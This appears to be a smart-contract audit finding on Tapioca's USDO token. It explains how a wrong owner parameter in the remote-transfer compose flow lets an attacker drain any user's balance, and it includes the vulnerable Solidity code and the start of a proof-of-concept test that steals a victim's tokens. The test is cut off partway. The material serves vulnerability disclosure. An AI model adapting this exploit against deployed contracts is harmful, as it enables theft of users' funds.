MEDIUM severity: The vulnerability allows an attacker to drain any user's USDO balance by exploiting a wrong paramete. The vulnerability allows an attacker to drain any user's USDO balance by exploiting a wrong parameter in the remote transfer function. The attack flow involves a series of recursive compose calls, which enables the attacker to set the arbitrary owner address as the source chain sender, bypassing the...

Vulnerable code:
```\nfunction lzCompose(\n    address _from,\n    bytes32 _guid,\n    bytes calldata _message,\n    address, // executor\n    bytes calldata // extra Data\n) external payable override {\n    // Decode LZ compose message.\n    (address srcChainSender_, bytes memory oftComposeMsg_) = \n        TapiocaOmnichainEngineCodec.decodeLzComposeMsg(_message);\n\n    // Execute the composed message.  \n    _lzCompose(srcChainSender_, _guid, oftComposeMsg_);\n}\n```\n```\nfunction _lzCompose(address srcChainSender_, bytes32 _guid, bytes memory oftComposeMsg_) internal {\n    // Decode OFT compose message.\n    (uint16 msgType_,,, bytes memory tapComposeMsg_, bytes memory nextMsg_) =\n        TapiocaOmnichainEngineCodec.decodeToeComposeMsg(oftComposeMsg_);\n\n    // Call Permits/approvals if the msg type is a permit/approval.\n    // If the msg type is not a permit/approval, it will call the other receivers.\n    if (msgType_ == MSG_REMOTE_TRANSFER) {\n        _remoteTransferReceiver(srcChainSender_, tapComposeMsg_);\n    }\n    // rest of code\n}\n```\n```\nfunction _remoteTransferReceiver(address _srcChainSender, bytes memory _data) internal virtual {\n    RemoteTransferMsg memory remoteTransferMsg_ = TapiocaOmnichainEngineCodec.decodeRemoteTransferMsg(_data);\n\n    _internalTransferWithAllowance(\n        remoteTransferMsg_.owner, _srcChainSender, remoteTransferMsg_.lzSendParam.sendParam.amountLD\n    );\n\n    // Make the internal transfer, burn the tokens from this contract and send them to the recipient on the other chain.\n    _internalRemoteTransferSendPacket(\n        remoteTransferMsg_.owner,\n        remoteTransferMsg_.lzSendParam,\n        remoteTransferMsg_.composeMsg\n    );\n}\n```\n```\nfunction _internalRemoteTransferSendPacket(\n    address _srcChainSender,\n    LZSendParam memory _lzSendParam,\n    bytes memory _composeMsg\n) internal returns (MessagingReceipt memory msgReceipt, OFTReceipt memory oftReceipt) {\n    // Burn tokens from this contract\n    (uint256 amountDebitedLD_, uint256 amountToCreditLD_) = _debitView(\n        _lzSendParam.sendParam.amountLD,\n        _lzSendParam.sendParam.minAmountLD,\n        _lzSendParam.sendParam.dstEid\n    );\n    _burn(address(this), amountToCreditLD_);\n\n    // Builds the options and OFT message to quote in the endpoint.\n    (bytes memory message, bytes memory options) = _buildOFTMsgAndOptionsMemory(\n        _lzSendParam.sendParam,\n        _lzSendParam.extraOptions,\n        _composeMsg,\n        amountToCreditLD_,\n        _srcChainSender\n    );\n\n    // Sends the message to the LayerZero endpoint and returns the LayerZero msg receipt.\n    msgReceipt = _lzSend(\n        _lzSendParam.sendParam.dstEid,\n        message,\n        options,\n        _lzSendParam.fee,\n        _lzSendParam.refundAddress\n    );\n}\n```\n```\nfunction _remoteTransferReceiver(address _srcChainSender, bytes memory _data) internal virtual {\n    // Make the internal transfer, burn the tokens from this contract and send them to the recipient on the other chain.\n    _internalRemoteTransferSendPacket(\n        remoteTransferMsg_.owner,  // This parameter will become the _srcChainSender in the recursive compose message call\n        remoteTransferMsg_.lzSendParam, \n        remoteTransferMsg_.composeMsg \n    );\n}\n```\n```\n// SPDX-License-Identifier: LZBL-1.2\n\npragma solidity ^0.8.20;\n\nstruct MessagingReceipt {\n    bytes32 guid;\n    uint64 nonce;\n    MessagingFee fee;\n}\n\nstruct MessagingParams {\n    uint32 dstEid;\n    bytes32 receiver;\n    bytes memory message;\n    bytes memory options;\n    bool payInLzToken;\n}\n\nstruct MessagingFee {\n    uint256 nativeFee;\n    uint256 lzTokenFee;\n}\n\ncontract MockEndpointV2 {\n    function send(\n        MessagingParams calldata _params,\n        address _refundAddress\n    ) external payable returns (MessagingReceipt memory receipt) {\n        // DO NOTHING\n    }\n\n    function sendCompose(address _to, bytes32 _guid, uint16 _index, bytes calldata _message) external {\n        // DO NOTHING\n    }\n}\n```\n```\nfunction testVuln_stealUSDOFromATargetUserDueToWrongParameter() public {\n    // Change configured endpoints\n    endpoints[aEid] = address(mockEndpointV2A);\n    endpoints[bEid] = address(mockEndpointV2B);\n\n    aUsdo.setEndpoint(address(mockEndpointV2A));\n    bUsdo.setEndpoint(address(mockEndpointV2B));\n\n    deal(address(aUsdo), makeAddr("victim"), 100 ether);\n\n    // FINAL MESSAGE    A ---> B\n    SendParam memory sendParamAToBVictim = SendParam({\n        dstEid: bEid,\n        to: OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\n        amountLD: 100 ether, // IMPORTANT: This must be set to the amount we want to steal\n        minAmountLD: 100 ether,\n        extraOptions: bytes(""),\n        composeMsg: bytes(""),\n        oftCmd: bytes("")\n    });\n\n    MessagingFee memory feeAToBVictim = MessagingFee({\n        nativeFee: 0,\n        lzTokenFee: 0\n    });\n\n    LZSendParam memory lzSendParamAToBVictim = LZSendParam({\n        sendParam: sendParamAToBVictim,\n        fee: feeAToBVictim,\n        extraOptions: bytes(""),\n        refundAddress: makeAddr("attacker")\n    });\n\n    RemoteTransferMsg memory remoteTransferMsgVictim = RemoteTransferMsg({\n        owner: makeAddr("victim"), // IMPORTANT: This will make the attack be triggered as the victim will become the srcChainSender in the destination chain\n        composeMsg: bytes(""),\n        lzSendParam: lzSendParamAToBVictim\n    });\n\n    uint16 index; // needed to bypass Solidity's encoding literal error\n    // Create Toe Compose message for the victim\n    bytes memory toeComposeMsgVictim = abi.encodePacked(\n        PT_REMOTE_TRANSFER, // msgType\n        uint16(abi.encode(remoteTransferMsgVictim).length), // message length (0)\n        index, // index\n        abi.encode(remoteTransferMsgVictim), // message\n        bytes("") // next message\n    );\n\n    // SECOND MESSAGE     B ---> A\n    SendParam memory sendParamBToA = SendParam({\n        dstEid: aEid,\n        to: OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\n        amountLD: 0,\n```